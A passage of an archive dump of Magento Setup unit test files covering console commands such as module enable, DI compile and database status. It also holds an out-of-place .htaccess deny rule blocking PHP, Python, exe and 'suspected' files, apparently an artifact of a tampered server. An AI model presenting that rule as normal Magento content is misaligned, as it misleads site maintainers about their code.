['Magento_Module1', 'Magento_Module2']]; if ($clearStaticContent) { $input['--clear-static-content'] = true; } $commandTester->execute($input); $display = $commandTester->getDisplay(); $this->assertStringMatchesFormat($expectedMessage, $display); } /** * @return array */ public function executeDataProvider() { return [ 'enable, do not clear static content' => [ true, false, '%amodules have been enabled%aMagento_Module1%a' . "Info: Some modules might require static view files to be cleared. To do this, run " . "'module:enable' with the --clear-static-content%a" ], 'disable, do not clear static content' => [ false, false, '%amodules have been disabled%aMagento_Module1%a' . "Info: Some modules might require static view files to be cleared. To do this, run " . "'module:disable' with the --clear-static-content%a" ], 'enable, clear static content' => [ true, true, '%amodules have been enabled%aMagento_Module1%aGenerated static view files cleared%a' ], 'disable, clear static content' => [ false, true, '%amodules have been disabled%aMagento_Module1%aGenerated static view files cleared%a' ] ]; } public function testExecuteEnableInvalidModule() { $this->statusMock->expects($this->once()) ->method('getModulesToChange') ->with(true, ['invalid']) ->willThrowException(new \LogicException('Unknown module(s): invalid')); $commandTester = $this->getCommandTester(true); $input = ['module' => ['invalid']]; $commandTester->execute($input); $this->assertEquals('Unknown module(s): invalid' . PHP_EOL, $commandTester->getDisplay()); } public function testExecuteDisableInvalidModule() { $this->statusMock->expects($this->once()) ->method('getModulesToChange') ->with(false, ['invalid']) ->willThrowException(new \LogicException('Unknown module(s): invalid')); $commandTester = $this->getCommandTester(false); $input = ['module' => ['invalid']]; $commandTester->execute($input); $this->assertEquals('Unknown module(s): invalid' . PHP_EOL, $commandTester->getDisplay()); } /** * @param bool $isEnable * @param string $expectedMessage * * @dataProvider executeAllDataProvider */ public function testExecuteAll($isEnable, $expectedMessage) { $setupUpgradeMessage = 'To make sure that the enabled modules are properly registered, run \'setup:upgrade\'.'; $this->fullModuleListMock->expects($this->once()) ->method('getNames') ->willReturn(['Magento_Module1', 'Magento_Module2']); $this->statusMock->expects($this->once()) ->method('getModulesToChange') ->with($isEnable, ['Magento_Module1', 'Magento_Module2']) ->willReturn(['Magento_Module1']); $this->statusMock->expects($this->any()) ->method('checkConstraints') ->willReturn([]); $this->statusMock->expects($this->once()) ->method('setIsEnabled') ->with($isEnable, ['Magento_Module1']); if ($isEnable) { $this->deploymentConfigMock->expects($this->once()) ->method('isAvailable') ->willReturn(true); } else { $this->deploymentConfigMock->expects($this->never()) ->method('isAvailable'); } $commandTester = $this->getCommandTester($isEnable); $input = ['--all' => true]; $commandTester->execute($input); $output = $commandTester->getDisplay(); $this->assertStringMatchesFormat($expectedMessage, $output); if ($isEnable) { $this->assertStringContainsString($setupUpgradeMessage, $output); } else { $this->assertStringNotContainsString($setupUpgradeMessage, $output); } } /** * @return array */ public function executeAllDataProvider() { return [ 'enable' => [true, '%amodules have been enabled%aMagento_Module1%a'], 'disable' => [false, '%amodules have been disabled%aMagento_Module1%a'], ]; } /** * @param bool $isEnable * * @dataProvider executeWithConstraintsDataProvider */ public function testExecuteWithConstraints($isEnable) { $this->statusMock->expects($this->once()) ->method('getModulesToChange') ->with($isEnable, ['Magento_Module1', 'Magento_Module2']) ->willReturn(['Magento_Module1']); $this->statusMock->expects($this->any()) ->method('checkConstraints') ->willReturn(['constraint1', 'constraint2']); $this->statusMock->expects($this->never()) ->method('setIsEnabled'); $commandTester = $this->getCommandTester($isEnable); $commandTester->execute(['module' => ['Magento_Module1', 'Magento_Module2']]); $this->assertStringMatchesFormat( 'Unable to change status of modules%aconstraint1%aconstraint2%a', $commandTester->getDisplay() ); } /** * @return array */ public function executeWithConstraintsDataProvider() { return [ 'enable' => [true], 'disable' => [false], ]; } /** * @param bool $isEnable * @param string $expectedMessage * * @dataProvider executeExecuteForceDataProvider */ public function testExecuteForce($isEnable, $expectedMessage) { $this->statusMock->expects($this->once()) ->method('getModulesToChange') ->with($isEnable, ['Magento_Module1', 'Magento_Module2']) ->willReturn(['Magento_Module1']); $this->statusMock->expects($this->never()) ->method('checkConstraints'); $this->statusMock->expects($this->once()) ->method('setIsEnabled') ->with($isEnable, ['Magento_Module1']); $commandTester = $this->getCommandTester($isEnable); $commandTester->execute(['module' => ['Magento_Module1', 'Magento_Module2'], '--force' => true]); $this->assertStringMatchesFormat( $expectedMessage . '%amodules might not function properly%a', $commandTester->getDisplay() ); } /** * @return array */ public function executeExecuteForceDataProvider() { return [ 'enable' => [true, '%amodules have been enabled%aMagento_Module1%a'], 'disable' => [false, '%amodules have been disabled%aMagento_Module1%a'], ]; } /** * @param bool $isEnable * * @dataProvider executeWithConstraintsDataProvider */ public function testExecuteNoChanges($isEnable) { $this->statusMock->expects($this->once()) ->method('getModulesToChange') ->with($isEnable, ['Magento_Module1', 'Magento_Module2']) ->willReturn([]); $this->statusMock->expects($this->never()) ->method('setIsEnabled'); $commandTester = $this->getCommandTester($isEnable); $commandTester->execute(['module' => ['Magento_Module1', 'Magento_Module2']]); $this->assertStringMatchesFormat( 'No modules were changed%a', $commandTester->getDisplay() ); } /** * @param bool $isEnable * @return CommandTester */ private function getCommandTester($isEnable) { $class = $isEnable ? ModuleEnableCommand::class : ModuleDisableCommand::class; $command = new $class($this->objectManagerProviderMock); $deploymentConfigProperty = new \ReflectionProperty($class, 'deploymentConfig'); $deploymentConfigProperty->setAccessible(true); $deploymentConfigProperty->setValue($command, $this->deploymentConfigMock); $deploymentConfigProperty = new \ReflectionProperty($class, 'generatedFiles'); $deploymentConfigProperty->setAccessible(true); $deploymentConfigProperty->setValue($command, $this->generatedFiles); return new CommandTester($command); } } Magento/Setup/Test/Unit/Console/Command/InfoTimezoneListCommandTest.php000077700000002743151323623130022202 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\Setup\Lists; use Magento\Setup\Console\Command\InfoTimezoneListCommand; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Tester\CommandTester; class InfoTimezoneListCommandTest extends TestCase { public function testExecute() { $timezones = [ 'timezone' => 'timezone description' ]; $table = $this->createMock(Table::class); $table->expects($this->once())->method('setHeaders')->with(['Timezone', 'Code']); $table->expects($this->once())->method('addRow')->with(['timezone description', 'timezone']); /** @var \Symfony\Component\Console\Helper\TableFactory|MockObject $helperSet */ $tableFactoryMock = $this->createMock(\Symfony\Component\Console\Helper\TableFactory::class); $tableFactoryMock->expects($this->once())->method('create')->willReturn($table); /** @var Lists|MockObject $list */ $list = $this->createMock(Lists::class); $list->expects($this->once())->method('getTimezoneList')->willReturn($timezones); $command = new InfoTimezoneListCommand($list, $tableFactoryMock); $commandTester = new CommandTester($command); $commandTester->execute([]); } } Magento/Setup/Test/Unit/Console/Command/DiCompileCommandTest.php000077700000021173151323623130020603 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\Cache; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Filesystem; use Magento\Framework\Filesystem\Directory\WriteInterface; use Magento\Framework\Filesystem\Driver\File; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Console\Command\DiCompileCommand; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Module\Di\App\Task\Manager; use Magento\Setup\Module\Di\App\Task\OperationFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\Console\Helper\ProgressBar; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Tester\CommandTester; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class DiCompileCommandTest extends TestCase { /** @var DeploymentConfig|MockObject */ private $deploymentConfigMock; /** @var Manager|MockObject */ private $managerMock; /** @var ObjectManagerInterface|MockObject */ private $objectManagerMock; /** @var DiCompileCommand|MockObject */ private $command; /** @var Cache|MockObject */ private $cacheMock; /** @var Filesystem|MockObject */ private $filesystemMock; /** @var File|MockObject */ private $fileDriverMock; /** @var DirectoryList|MockObject */ private $directoryListMock; /** @var ComponentRegistrar|MockObject */ private $componentRegistrarMock; /** @var OutputInterface|MockObject */ private $outputMock; /** @var OutputFormatterInterface|MockObject */ private $outputFormatterMock; /** @var Filesystem\Io\File|MockObject */ private $fileMock; protected function setUp(): void { $this->deploymentConfigMock = $this->createMock(DeploymentConfig::class); $objectManagerProviderMock = $this->createMock(ObjectManagerProvider::class); $this->objectManagerMock = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $this->cacheMock = $this->getMockBuilder(Cache::class) ->disableOriginalConstructor() ->getMock(); $objectManagerProviderMock->expects($this->once()) ->method('get') ->willReturn($this->objectManagerMock); $this->managerMock = $this->createMock(Manager::class); $this->directoryListMock = $this->createMock(DirectoryList::class); $this->directoryListMock->expects($this->any())->method('getPath')->willReturnMap([ [DirectoryList::SETUP, '/path (1)/to/setup/'], ]); $this->filesystemMock = $this->getMockBuilder(Filesystem::class) ->disableOriginalConstructor() ->getMock(); $this->fileDriverMock = $this->getMockBuilder(File::class) ->disableOriginalConstructor() ->getMock(); $this->fileDriverMock->method('getParentDirectory')->willReturnMap( [ ['/path/to/module/one', '/path/to/module'], ['/path/to/module', '/path/to'], ['/path (1)/to/module/two', '/path (1)/to/module'], ['/path (1)/to/module', '/path (1)/to'], ] ); $this->componentRegistrarMock = $this->createMock(ComponentRegistrar::class); $this->componentRegistrarMock->expects($this->any())->method('getPaths')->willReturnMap([ [ComponentRegistrar::MODULE, ['/path/to/module/one', '/path (1)/to/module/two']], [ComponentRegistrar::LIBRARY, ['/path/to/library/one', '/path (1)/to/library/two']], ]); $this->outputFormatterMock = $this->createMock( OutputFormatterInterface::class ); $this->outputMock = $this->getMockForAbstractClass(OutputInterface::class); $this->outputMock->method('getFormatter') ->willReturn($this->outputFormatterMock); $this->fileMock = $this->getMockBuilder(Filesystem\Io\File::class) ->disableOriginalConstructor() ->getMock(); $this->fileMock->method('getPathInfo')->willReturnMap( [ ['/path/to/module/one', ['basename' => 'one']], ['/path/to/module', ['basename' => 'module']], ['/path (1)/to/module/two', ['basename' => 'two']], ['/path (1)/to/module', ['basename' => 'module']], ] ); $this->command = new DiCompileCommand( $this->deploymentConfigMock, $this->directoryListMock, $this->managerMock, $objectManagerProviderMock, $this->filesystemMock, $this->fileDriverMock, $this->componentRegistrarMock, $this->fileMock ); } public function testExecuteModulesNotEnabled() { $this->deploymentConfigMock->expects($this->once()) ->method('get') ->with(ConfigOptionsListConstants::KEY_MODULES) ->willReturn(null); $tester = new CommandTester($this->command); $tester->execute([]); $this->assertEquals( 'You cannot run this command because modules are not enabled. You can enable modules by running the ' . "'module:enable --all' command." . PHP_EOL, $tester->getDisplay() ); } public function testExecute() { $this->directoryListMock->expects($this->atLeastOnce())->method('getPath')->willReturn(null); $this->objectManagerMock->expects($this->once()) ->method('get') ->with(Cache::class) ->willReturn($this->cacheMock); $this->cacheMock->expects($this->once())->method('clean'); $writeDirectory = $this->getMockForAbstractClass(WriteInterface::class); $writeDirectory->expects($this->atLeastOnce())->method('delete'); $this->filesystemMock->expects($this->atLeastOnce())->method('getDirectoryWrite')->willReturn($writeDirectory); $this->deploymentConfigMock->expects($this->once()) ->method('get') ->with(ConfigOptionsListConstants::KEY_MODULES) ->willReturn(['Magento_Catalog' => 1]); $progressBar = new ProgressBar($this->outputMock); $this->objectManagerMock->expects($this->once())->method('configure'); $this->objectManagerMock ->expects($this->once()) ->method('create') ->with(ProgressBar::class) ->willReturn($progressBar); $this->managerMock->expects($this->exactly(9))->method('addOperation') ->withConsecutive( [OperationFactory::PROXY_GENERATOR, []], [OperationFactory::REPOSITORY_GENERATOR, $this->anything()], [OperationFactory::DATA_ATTRIBUTES_GENERATOR, []], [OperationFactory::APPLICATION_CODE_GENERATOR, $this->callback(function ($subject) { $this->assertEmpty(array_diff($subject['excludePatterns'], [ "#^(?:/path \(1\)/to/setup/)(/[\w]+)*/Test#", "#^(?:/path/to/library/one|/path \(1\)/to/library/two)/([\w]+/)?Test#", "#^(?:/path/to/library/one|/path \(1\)/to/library/two)/([\w]+/)?tests#", "#^(?:/path/to/(?:module/(?:one))|/path \(1\)/to/(?:module/(?:two)))/Test#", "#^(?:/path/to/(?:module/(?:one))|/path \(1\)/to/(?:module/(?:two)))/tests#" ])); return true; })], [OperationFactory::INTERCEPTION, $this->anything()], [OperationFactory::AREA_CONFIG_GENERATOR, $this->anything()], [OperationFactory::INTERCEPTION_CACHE, $this->anything()], [OperationFactory::APPLICATION_ACTION_LIST_GENERATOR, $this->anything()], [OperationFactory::PLUGIN_LIST_GENERATOR, $this->anything()] ); $this->managerMock->expects($this->once())->method('process'); $tester = new CommandTester($this->command); $tester->execute([]); $this->assertContains( 'Generated code and dependency injection configuration successfully.', explode(PHP_EOL, $tester->getDisplay()) ); $this->assertSame(DiCompileCommand::NAME, $this->command->getName()); } } Magento/Setup/Test/Unit/Console/Command/GenerateFixturesCommandTest.php000077700000003460151323623130022221 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Setup\Console\Command\GenerateFixturesCommand; use Magento\Setup\Fixtures\FixtureModel; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; class GenerateFixturesCommandTest extends TestCase { /** * @var FixtureModel|MockObject */ private $fixtureModel; /** * @var GenerateFixturesCommand|MockObject */ private $command; protected function setUp(): void { $this->fixtureModel = $this->createMock(FixtureModel::class); $this->command = new GenerateFixturesCommand($this->fixtureModel); } public function testExecute() { $this->fixtureModel->expects($this->once())->method('loadConfig')->with('path_to_profile.xml'); $this->fixtureModel->expects($this->once())->method('initObjectManager'); $this->fixtureModel->expects($this->once())->method('loadFixtures'); $commandTester = new CommandTester($this->command); $commandTester->execute(['profile' => 'path_to_profile.xml']); } public function testExecuteInvalidLanguageArgument() { $this->expectException('RuntimeException'); $this->expectExceptionMessage('Not enough arguments'); $commandTester = new CommandTester($this->command); $commandTester->execute([]); } public function testSkipReindexOption() { $this->fixtureModel->expects($this->never())->method('reindex'); $commandTester = new CommandTester($this->command); $commandTester->execute(['profile' => 'path_to_profile.xml', '--skip-reindex' => true]); } } Magento/Setup/Test/Unit/Console/Command/ModuleStatusCommandTest.php000077700000003606151323623130021370 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\Module\FullModuleList; use Magento\Framework\Module\ModuleList; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Console\Command\ModuleStatusCommand; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; class ModuleStatusCommandTest extends TestCase { public function testExecute() { $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManager = $this->getMockForAbstractClass(ObjectManagerInterface::class); $objectManagerProvider->expects($this->any()) ->method('get') ->willReturn($objectManager); $moduleList = $this->createMock(ModuleList::class); $fullModuleList = $this->createMock(FullModuleList::class); $objectManager->expects($this->any()) ->method('create') ->willReturnMap([ [ModuleList::class, [], $moduleList], [FullModuleList::class, [], $fullModuleList], ]); $moduleList->expects($this->any()) ->method('getNames') ->willReturn(['Magento_Module1', 'Magento_Module2']); $fullModuleList->expects($this->any()) ->method('getNames') ->willReturn(['Magento_Module1', 'Magento_Module2', 'Magento_Module3']); $commandTester = new CommandTester(new ModuleStatusCommand($objectManagerProvider)); $commandTester->execute([]); $this->assertStringMatchesFormat( 'List of enabled modules%aMagento_Module1%aMagento_Module2%a' . 'List of disabled modules%aMagento_Module3%a', $commandTester->getDisplay() ); } } Magento/Setup/Test/Unit/Console/Command/InfoLanguageListCommandTest.php000077700000002727151323623130022135 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\Setup\Lists; use Magento\Setup\Console\Command\InfoLanguageListCommand; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Tester\CommandTester; class InfoLanguageListCommandTest extends TestCase { public function testExecute() { $languages = [ 'LNG' => 'Language description' ]; $table = $this->createMock(Table::class); $table->expects($this->once())->method('setHeaders')->with(['Language', 'Code']); $table->expects($this->once())->method('addRow')->with(['Language description', 'LNG']); /** @var \Symfony\Component\Console\Helper\TableFactory|MockObject $helperSet */ $tableFactoryMock = $this->createMock(\Symfony\Component\Console\Helper\TableFactory::class); $tableFactoryMock->expects($this->once())->method('create')->willReturn($table); /** @var Lists|MockObject $list */ $list = $this->createMock(Lists::class); $list->expects($this->once())->method('getLocaleList')->willReturn($languages); $command = new InfoLanguageListCommand($list, $tableFactoryMock); $commandTester = new CommandTester($command); $commandTester->execute([]); } } Magento/Setup/Test/Unit/Console/Command/DbDataUpgradeCommandTest.php000077700000004034151323623130021362 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Setup\Console\Command\DbDataUpgradeCommand; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; class DbDataUpgradeCommandTest extends TestCase { /** * @var InstallerFactory|MockObject */ protected $installerFactory; /** * @var DeploymentConfig|MockObject */ protected $deploymentConfig; protected function setup(): void { $this->installerFactory = $this->createMock(InstallerFactory::class); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); } public function testExecute() { $this->deploymentConfig->expects($this->once())->method('isAvailable')->willReturn(true); $installer = $this->createMock(Installer::class); $this->installerFactory->expects($this->once())->method('create')->willReturn($installer); $installer->expects($this->once())->method('installDataFixtures'); $commandTester = new CommandTester( new DbDataUpgradeCommand($this->installerFactory, $this->deploymentConfig) ); $commandTester->execute([]); } public function testExecuteNoConfig() { $this->deploymentConfig->expects($this->once())->method('isAvailable')->willReturn(false); $this->installerFactory->expects($this->never())->method('create'); $commandTester = new CommandTester( new DbDataUpgradeCommand($this->installerFactory, $this->deploymentConfig) ); $commandTester->execute([]); $this->assertStringMatchesFormat( 'No information is available: the Magento application is not installed.%w', $commandTester->getDisplay() ); } } Magento/Setup/Test/Unit/Console/Command/.htaccess000077700000000177151323623130015665 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Console/Command/ModuleConfigStatusCommandTest.php000077700000006211151323623130022511 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig\Reader; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Setup\Console\Command\ModuleConfigStatusCommand; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; /** * Tests for module config status command. */ class ModuleConfigStatusCommandTest extends TestCase { /** * @param array $currentConfig * @param array $correctConfig * @param string $expectedOutput * @dataProvider executeDataProvider */ public function testExecute(array $currentConfig, array $correctConfig, string $expectedOutput) { $configReader = $this->createMock(Reader::class); $configReader->expects($this->once()) ->method('load') ->willReturn([ConfigOptionsListConstants::KEY_MODULES => $currentConfig]); $installer = $this->createMock(Installer::class); $installer->expects($this->once()) ->method('getModulesConfig') ->willReturn($correctConfig); $installerFactory = $this->createMock(InstallerFactory::class); $installerFactory->expects($this->once()) ->method('create') ->willReturn($installer); $command = new ModuleConfigStatusCommand($configReader, $installerFactory); $tester = new CommandTester($command); $tester->execute([]); $this->assertEquals($expectedOutput, $tester->getDisplay()); } /** * @return array */ public function executeDataProvider() { $successMessage = 'The modules configuration is up to date.' . PHP_EOL; $failureMessage = 'The modules configuration in the \'app/etc/config.php\' ' . 'file is outdated. Run \'setup:upgrade\' to fix it.' . PHP_EOL; return [ [ ['Magento_ModuleA' => 1, 'Magento_ModuleB' => 1], ['Magento_ModuleA' => 1, 'Magento_ModuleB' => 1], $successMessage, ], [ ['Magento_ModuleA' => 0, 'Magento_ModuleB' => 1], ['Magento_ModuleA' => 0, 'Magento_ModuleB' => 1], $successMessage, ], [ ['Magento_ModuleA' => 1, 'Magento_ModuleB' => 1], ['Magento_ModuleB' => 1, 'Magento_ModuleA' => 1], $failureMessage, ], [ ['Magento_ModuleA' => 0, 'Magento_ModuleB' => 1], ['Magento_ModuleB' => 1, 'Magento_ModuleA' => 0], $failureMessage, ], [ ['Magento_ModuleA' => 1], ['Magento_ModuleB' => 1, 'Magento_ModuleA' => 1], $failureMessage, ], [ ['Magento_ModuleA' => 1, 'Magento_ModuleB' => 1], ['Magento_ModuleB' => 1], $failureMessage, ], ]; } } Magento/Setup/Test/Unit/Console/Command/DbStatusCommandTest.php000077700000010337151323623130020467 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Console\Cli; use Magento\Framework\Module\DbVersionInfo; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\UpToDateValidatorInterface; use Magento\Setup\Console\Command\DbStatusCommand; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject as Mock; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; /** * @inheritdoc */ class DbStatusCommandTest extends TestCase { /** * @var DbVersionInfo|Mock */ private $dbVersionInfo; /** * @var DeploymentConfig|Mock */ private $deploymentConfig; /** * @var DbStatusCommand */ private $command; /** * @var array | Mock[] */ private $validators; /** * @inheritdoc */ protected function setUp(): void { $this->dbVersionInfo = $this->getMockBuilder(DbVersionInfo::class) ->disableOriginalConstructor() ->getMock(); /** @var ObjectManagerProvider|Mock $objectManagerProvider */ $objectManagerProvider = $this->getMockBuilder(ObjectManagerProvider::class) ->disableOriginalConstructor() ->getMock(); /** @var ObjectManagerInterface|Mock $objectManager */ $objectManager = $this->getMockForAbstractClass(ObjectManagerInterface::class); $this->deploymentConfig = $this->getMockBuilder(DeploymentConfig::class) ->disableOriginalConstructor() ->getMock(); $this->validators = [ 'declarative_schema' => $this->getMockBuilder(UpToDateValidatorInterface::class) ->getMock(), 'up_to_date_schema' => $this->getMockBuilder(UpToDateValidatorInterface::class) ->getMock(), 'up_to_date_data' => $this->getMockBuilder(UpToDateValidatorInterface::class) ->getMock(), 'old_validator' => $this->getMockBuilder(UpToDateValidatorInterface::class) ->getMock(), ]; $objectManagerProvider->expects($this->any()) ->method('get') ->willReturn($objectManager); $objectManager->expects(self::exactly(4)) ->method('get') ->willReturnOnConsecutiveCalls( $this->validators['declarative_schema'], $this->validators['up_to_date_schema'], $this->validators['up_to_date_data'], $this->validators['old_validator'] ); $this->command = new DbStatusCommand($objectManagerProvider, $this->deploymentConfig); } public function testExecute() { $this->validators['old_validator']->expects(self::once()) ->method('isUpToDate') ->willReturn(true); $this->validators['up_to_date_schema']->expects(self::once()) ->method('isUpToDate') ->willReturn(true); $this->validators['up_to_date_data']->expects(self::once()) ->method('isUpToDate') ->willReturn(true); $this->validators['declarative_schema']->expects(self::once()) ->method('isUpToDate') ->willReturn(true); $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $tester = new CommandTester($this->command); $tester->execute([]); $this->assertStringMatchesFormat('All modules are up to date.', $tester->getDisplay()); $this->assertSame(0, $tester->getStatusCode()); } public function testExecuteNotInstalled() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(false); $tester = new CommandTester($this->command); $tester->execute([]); $this->assertStringMatchesFormat( 'No information is available: the Magento application is not installed.%w', $tester->getDisplay() ); $this->assertSame(Cli::RETURN_FAILURE, $tester->getStatusCode()); } } Magento/Setup/Test/Unit/Console/Command/InfoBackupsListCommandTest.php000077700000003621151323623130021774 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Filesystem\Driver\File; use Magento\Setup\Console\Command\InfoBackupsListCommand; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\Table; use Symfony\Component\Console\Tester\CommandTester; class InfoBackupsListCommandTest extends TestCase { public function testExecute() { $table = $this->createMock(Table::class); $table->expects($this->once())->method('setHeaders')->with(['Backup Filename', 'Backup Type']); $table->expects($this->once())->method('addRow')->with(['backupFile_media.tgz', 'media']); /** @var \Symfony\Component\Console\Helper\TableFactory|MockObject $helperSet */ $tableFactoryMock = $this->createMock(\Symfony\Component\Console\Helper\TableFactory::class); $tableFactoryMock->expects($this->once())->method('create')->willReturn($table); /** @var DirectoryList * |\PHPUnit\Framework\MockObject\MockObject $directoryList */ $directoryList = $this->createMock(DirectoryList::class); /** @var File|MockObject $file */ $file = $this->createMock(File::class); $file->expects($this->once())->method('isExists')->willReturn(true); $file->expects($this->once()) ->method('readDirectoryRecursively') ->willReturn(['backupFile_media.tgz']); $command = new InfoBackupsListCommand($directoryList, $file, $tableFactoryMock); $commandTester = new CommandTester($command); $commandTester->execute([]); $expected = 'Showing backup files in '; $this->assertStringStartsWith($expected, $commandTester->getDisplay()); } } Magento/Setup/Test/Unit/Console/CompilerPreparationTest.php000077700000017123151323623130020040 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console; use Laminas\ServiceManager\ServiceManager; use Magento\Framework\Console\GenerationDirectoryAccess; use Magento\Framework\Filesystem\Driver\File; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Console\Command\DiCompileCommand; use Magento\Setup\Console\CompilerPreparation; use Magento\Setup\Mvc\Bootstrap\InitParamListener; use PHPUnit\Framework\MockObject\MockObject as Mock; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Input\ArgvInput; class CompilerPreparationTest extends TestCase { /** * @var CompilerPreparation|Mock */ private $model; /** * @var ServiceManager|Mock */ private $serviceManagerMock; /** * @var ArgvInput|Mock */ private $inputMock; /** * @var File|Mock */ private $filesystemDriverMock; /** * @var GenerationDirectoryAccess|Mock */ private $generationDirectoryAccessMock; /** * @inheritdoc */ protected function setUp(): void { $this->serviceManagerMock = $this->getMockBuilder(ServiceManager::class) ->disableOriginalConstructor() ->getMock(); $this->inputMock = $this->getMockBuilder(ArgvInput::class) ->disableOriginalConstructor() ->getMock(); $this->filesystemDriverMock = $this->getMockBuilder(File::class) ->disableOriginalConstructor() ->getMock(); $this->generationDirectoryAccessMock = $this->getMockBuilder(GenerationDirectoryAccess::class) ->disableOriginalConstructor() ->getMock(); $this->model = (new ObjectManager($this))->getObject( CompilerPreparation::class, [ 'serviceManager' => $this->serviceManagerMock, 'input' => $this->inputMock, 'filesystemDriver' => $this->filesystemDriverMock, 'generationDirectoryAccess' => $this->generationDirectoryAccessMock, ] ); } /** * @dataProvider commandNameDataProvider * @param $commandName * @param $isCompileCommand * @param $isHelpOption * @param bool|null $dirExists */ public function testClearGenerationDirWhenNeeded($commandName, $isCompileCommand, $isHelpOption, $dirExists = false) { $this->inputMock->expects($this->once()) ->method('getFirstArgument') ->willReturn($commandName); $this->inputMock->expects($this->atLeastOnce()) ->method('hasParameterOption') ->with($this->logicalOr('--help', '-h')) ->willReturn($isHelpOption); if ($isCompileCommand && !$isHelpOption) { $this->filesystemDriverMock->expects($this->exactly(2)) ->method('isExists') ->willReturn($dirExists); $this->filesystemDriverMock->expects($this->exactly(((int)$dirExists) * 2)) ->method('deleteDirectory'); } else { $this->filesystemDriverMock->expects($this->never()) ->method('isExists'); $this->filesystemDriverMock->expects($this->never()) ->method('deleteDirectory'); } $this->generationDirectoryAccessMock->expects($this->any()) ->method('check') ->willReturn(true); $this->model->handleCompilerEnvironment(); } /** * @return array */ public function commandNameDataProvider() { return [ 'ST compiler, directory exists' => [ 'commandName' => DiCompileCommand::NAME, 'isCompileCommand' => true, 'isHelpOption' => false, 'dirExists' => true ], 'ST compiler, directory does not exist' => [ 'commandName' => DiCompileCommand::NAME, 'isCompileCommand' => true, 'isHelpOption' => false, 'dirExists' => false ], 'ST compiler, help option' => [ 'commandName' => DiCompileCommand::NAME, 'isCompileCommand' => true, 'isHelpOption' => true, 'dirExists' => false ], 'Other command' => [ 'commandName' => 'not:a:compiler', 'isCompileCommand' => false, 'isHelpOption' => false, ], 'ST compiler, directory exists, abbreviation 1' => [ 'commandName' => 's:d:c', 'isCompileCommand' => true, 'isHelpOption' => false, 'dirExists' => true ], 'ST compiler, directory exists, abbreviation 2' => [ 'commandName' => 'se:di:co', 'isCompileCommand' => true, 'isHelpOption' => false, 'dirExists' => true ], 'ST compiler, directory exists, abbreviation ambiguous' => [ 'commandName' => 'se:di', 'isCompileCommand' => false, 'isHelpOption' => false, 'dirExists' => true ], ]; } public function testGenerationDirectoryFromInitParams() { $customGenerationDirectory = 